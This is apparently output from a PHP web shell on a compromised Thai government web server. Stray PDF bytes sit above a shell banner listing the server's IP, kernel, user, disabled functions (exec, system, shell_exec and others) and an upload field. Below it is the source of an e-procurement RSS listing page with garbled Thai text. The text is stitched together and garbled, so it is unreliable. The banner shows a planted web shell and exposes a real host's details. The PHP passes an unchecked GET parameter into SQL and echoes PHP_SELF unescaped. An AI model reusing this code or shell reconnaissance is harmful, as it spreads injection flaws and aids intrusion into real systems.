%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY
| Server IP : 122.155.177.87 / Your IP : 122.155.177.87 Web Server : Apache/2 System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64 User : apache ( 994) PHP Version : 5.3.29 Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/moungngam/domains/moungngam.go.th/public_html/ |
Upload File : |
<style>
a.linktextblack:link,a.linktextblack:active,.linktextblack,a.linktextblack:visited{font-size:16px; font-weight: normal; color: #000000; text-decoration: none; margin: 0; padding:0; line-height: 17px;}
a.linktextblack:hover{font-size:16px; font-weight: normal; color: #666666; text-decoration: none; margin: 0; padding:0; line-height: 17px;}
</style>
<center>
<table width="100%" border="0" cellpadding="2" cellspacing="2" style="border-collapse: collapse;">
<tr style="border-top:1px solid #dee2e6;border-bottom:1px solid #dee2e6;">
<td width="1%"></td>
<td width="5%">ÅӴѺ</td>
<td width="74%">ËÑÇ¢éÍ</td>
<td width="20%">Çѹ·Õè</td>
</tr>
<?
function dateThai_rss($date)
{
$m_name = array("00"=>" ","01"=>"Á.¤.","02"=>"¡.¾.","03"=>"ÁÕ.¤.","04"=>"àÁ.Â.","05"=>"¾.¤.","06"=>"ÁÔ.Â.","07"=>"¡.¤.","08"=>"Ê.¤.","09"=>"¡.Â.","10"=>"µ.¤.","11"=>"¾.Â.","12"=>"¸.¤.");
$yy=substr("$date",0,4);$mm=substr("$date",5,2);$dd=substr("$date",8,2);$time=substr("$date",11,8);
$dateTh = "";
if($yy=="0000")
{
$dateTh = $dd." ".$m_name[$mm]." ".$yy;
}else{
$yy+=543;
$dateTh = $dd." ".$m_name[$mm]." ".$yy;
}
if($time != ""){
$dateTh .= " ".$time;
}
return $dateTh;
}
$sql = "select * From `tbl_egp_rss` where 1 ";
$sql .= "Order by `id` Desc ";
//$sql .= "Order by `egp_date` Desc ,`egp_projectId` Desc ";
$item = 0;
$Per_Page = 20;
if(!$_GET['Page']){ $Page=1;}else{ $Page = $_GET['Page']; }
$Prev_Page = $Page-1;
$Next_Page = $Page+1;
$Page_start = ($Per_Page*$Page)-$Per_Page;
$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `tbl_egp_rss` where 1 ";
$dbquery = mysql_query($sql_2);
$Num_Rows = mysql_num_rows($dbquery);
if($Num_Rows>0)
{
$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
}
mysql_free_result($dbquery);
unset($dbquery);
if($Num_Rows<=$Per_Page)
$Num_Pages =1;
else if(($Num_Rows % $Per_Page)==0)
$Num_Pages =($Num_Rows/$Per_Page) ;
else
$Num_Pages =($Num_Rows/$Per_Page) +1;
$Num_Pages = (int)$Num_Pages;
if(($Page>$Num_Pages) || ($Page<0))
print "<center><b>ÂѧäÁèÁÕ¢éÍÁÙÅ<b></center>";
$sql .= "LIMIT $Page_start , $Per_Page";
//ÊèǹáÊ´§¼Å
$result = mysql_query($sql);
//$item = ($Page-1) * $Per_Page;
$item = 0;
While($row= mysql_fetch_assoc($result))
{
$item = $item + 1;
if(($item % 2) == 0){
$bcolor ="background-color: rgba(0,0,0,.05);";
} else $bcolor ="background-color:#fff;";
$c_id = $row["id"];
$c_egp_title = $row["egp_title"];
$c_egp_link = $row["egp_link"];
$c_egp_date = $row["egp_date"];
$c_egp_date_th = dateThai_rss($c_egp_date);
if(strlen($c_egp_title) > 60){
//$c_egp_title = trim(utf8_substr($c_egp_title,0,60));
}
echo "<tr style='".$bcolor."border-top:1px solid #dee2e6;border-bottom:1px solid #dee2e6;'>\n";
echo "<td></td>\n";
echo "<td valign='top' class='detail-s'>".$item."</td>";
echo "<td valign='top' class='detail-s'><a href=".$c_egp_link." class='more' target='_blank'>".$c_egp_title." </a></td>\n";
echo "<td valign='top' class='detail-s'>".$c_egp_date_th."</td>\n";
echo "</tr>\n";
} //while
echo "<tr><td colspan='2'><div align='left'>\n";
$PHP_SELF = $_SERVER['PHP_SELF'];
if($Prev_Page)
echo " <a href='$PHP_SELF?Page=1#top_page' class='linktextblack'><<</a> <a href='$PHP_SELF?Page=$Prev_Page#top_page' class='linktextblack'><</a> ";
$Show_Page = 10;
$s1 = $Page - $Show_Page;
if($s1 <= 0 ){$s1 = 1;}
$s2 = $Page + $Show_Page;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
if($s1 == 1 ){
$s2 = $Show_Page+10;
if($s2 > $Num_Pages){$s2 = $Num_Pages;}
}
if(($s2 == $Num_Pages) &&($s1 != 1)){
$s1 = $Num_Pages-20;
if($s1 <= 0 ){$s1 = 1;}
}
for($i=$s1; $i<=$s2; $i++)
{
if($i != $Page)
{
echo "<a href='$PHP_SELF?Page=$i#top_page' class='linktextblack'>[ $i ]</a>";
}
else
{
if($Num_Rows > $Per_Page){
echo "<font class='linktextblack'><b>[ $i ]</b></font>";
}
}
}
if($Num_Pages>($i-1))
{
if($Num_Pages>($i+1))
{
$bNum_Pages = $Num_Pages - 1;
echo "...<a href ='$PHP_SELF?Page=$bNum_Pages#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
}else if($Num_Pages==($i+1))
{
$bNum_Pages = $i;
echo "<a href ='$PHP_SELF?Page=$bNum_Pages#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
}
echo "<a href ='$PHP_SELF?Page=$Num_Pages#top_page' class='linktextblack'>[ $Num_Pages ]</a>";
}
if($Page!=$Num_Pages)
echo " <a href ='$PHP_SELF?Page=$Next_Page#top_page' class='linktextblack'> ></a> <a href ='$PHP_SELF?Page=$Num_Pages#top_page' class='linktextblack'>>></a>";
echo "</div></td></tr>\n";
if(isset($result)){
mysql_free_result($result );
unset($result);
}
?>
<tr>
<td colspan="4" width="100%" height="16"></td>
</tr>
</table>
</center>